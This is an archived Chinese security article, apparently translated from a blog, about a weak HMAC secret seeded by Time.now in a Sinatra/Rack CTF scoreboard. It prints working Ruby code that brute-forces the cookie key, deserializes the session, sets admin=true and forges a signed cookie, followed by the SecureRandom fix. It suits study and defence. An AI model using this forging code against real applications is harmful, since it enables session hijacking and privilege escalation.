# 弱随机化种子漏洞科普

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-04-15T03:29:00Z
Canonical: https://wepostx.com/topics/431

> 乌云历史资料归档
>
> **原始作者：** ∑-TEAM
> **原始编号：** superkieran-wooyundrops:218
> **原始发布时间：** 2014-04-15 11:29
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x00 背景

上周我参加了一个Bishop Fox和BYU大学举办的CTF比赛，在比赛过程中我决定尝试一下入侵一下计分系统，并且我把入侵的过程记录了下来。
尽管客户端的token欺骗已经不是什么新鲜事了，但是这次的入侵过程可以作为weak randomness漏洞的一个很好的练习。（这次攻击目标所使用的框架并不是像Rails一样常用的框架）
最后说一句：这个漏洞是框架自己带有的而不是Bishop Fox 或者是 BYU的问题。

## 0x01 cookie运行原理

在开始之前，我推荐你阅读一下[这篇博文](http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/)，他会告送你一个基于ruby的webapps如何处理cookie。
简而言之，ruby会生成一个hash数值作为一个cookie存储在用户客户端像这样

```text
{ 'session_id' => '78894f58c088a9c6555370a0d97e373e715b91bc' }
```
之后ruby分为三步把他存储到客户端

```text
(1)使用Marshal.dump对数据结构进行序列化 (2)使用base64编码第一步得到的字符串 (3)计算message的HMAC（HMAC被用于message的完整性检查，这是ruby的一种机制以防用户篡改自己的cookie）
```
当以上三步做完之后，ruby会在头文件中加入如下一段

```text
Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"
```
实际的cookie是这样

```text
Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"
```
上述处理cookie的过程有一个漏洞，message中的信息可以被客户端还原，只需要对它进行base64解码和反序列化即可得到原始的ruby object
ruby对于cookie信任的前提是，通过HMAC验证message中的内容必须是有你代码中设定的密钥标记过的，只有这样ruby才会把cookie当做一个有效地凭证。
下图就是上述过程简要流程

![原文图片](/media/2016/06/7a93fece3a774b8c8f9cc3b2ecced51f)

如果你篡改了你的cookie，会导致HMAC验证不通过，从而使你修改过的cookie值失效。

## 0x02 简介

CTF的评分系统是一个Sinatra-based的webapp，它使用了一些基本的Rails机制，提供了一个计分板的效果。看一下代码，还是比较简洁的。
这个webapp有一个有趣的现象就是，默认情况下代码库中没有配置文件，配置文件是在程序运行过程中生成的，下面是创建配置文件的代码。

```text
#!ruby begin require './config.rb' rescue Exception => e # create default config.rb open('./config.rb', "w+") {|f| f.puts <<-"EOS" COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}" ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin STYLE_SHEET = "/style.css" HTML_TITLE = "scoreserver.rb CTF" EOS f.flush } require './config.rb' end
```
值得注意的是，COOKIE_SECERT就是前文中提到的HMAC所使用的key。他是Time.now.to_s的SHA-1散列。这段代码中所使用的Time.now.to_s就是我们所说的不健壮的随机化种子。

## 0x03 原理

现在我们很容易知道，如果想要伪造cookie，就必须得到一个合法的HMAC字符串，只有得到它之后，我们才可以通过修改session-id来控制session。
这个漏洞的根源是因为它使用了，弱随机化种子，在上文的代码中，SHA1-hashing 加密了一个秒级别的精度的字符串，这样我们就可以使用暴力的方法尝试一天之内秒数只需要60 x 60 x 24次尝试。
而且我们并不需要把每次的尝试结果提交到web服务器，只需要在本地计算出正确的key，然后再通过它构造出正确的HMAC提交即可。

## 0x04 POC

为了确定一下我们是否可以破解HMAC，我们可以试一下。
首先，我们从webapp得到cookie和HMAC。如果你想自己测试，copy以下代码运行即可。

```text
#!ruby require 'faraday' connection = Faraday.new(:url => 'http://localhost:4567') response = connection.get '/' cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')
```
现在我们只需要不断的获取Time.now和创建HMACs直到匹配为止。我们通过一个循环依次减小时间，直到找到正确的时间使得SHA1散列匹配而得到session key。

```text
#!ruby require 'digest/sha1' require 'openssl' def create_hmac message, key OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message)) end seed = Time.now while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do seed -= 1 end key = Digest::SHA1.hexdigest(seed.to_s)
```
这样我们就可以成功破解key了，这个key可以帮助我们创建合法的HMAC。

## 0x05 利用

得到了key，我们就可以找一下源代码中有什么能让我们提升权限的地方。
首先，代码会对cookie进行反序列化。

```text
#!ruby params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))
```
这样修改之后，我们就可以赋予自己管理员权限。

```text
#!ruby params.merge!({ 'admin' => true })
```
通过上述语句重建cookie

```text
#!ruby bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params))) bad_hmac = create_hmac(bad_cookie, key) header = "rack.session=#{bad_cookie}--#{bad_hmac};"
```
只要把上面得到的cookie内容，加到header里面就可以获取管理员权限了。
到达这一步只要查看源代码就可以很轻易地获取到每一题的答案了。

## 0x06 防御方法

我在github上提交了一个修改版本，其中使用这句代替了cookie secret key的生成

```text
Digest::SHA1.hexdigest(Time.now.to_s)
```
使用SecureRandom库生成随机数

```text
SecureRandom.hex(20)
```
这会生成一个40个字符的随机字符串

## 0x07 结论

这篇文章虽然在技术上没有什么实质性突破，但是作为一个弱随机漏洞的例子还是很不错的，希望在思路上可以启发到各位。
from:[http://blog.tjll.net/weak-random-seed-rack-exploit/](http://blog.tjll.net/weak-random-seed-rack-exploit/)

## Replies
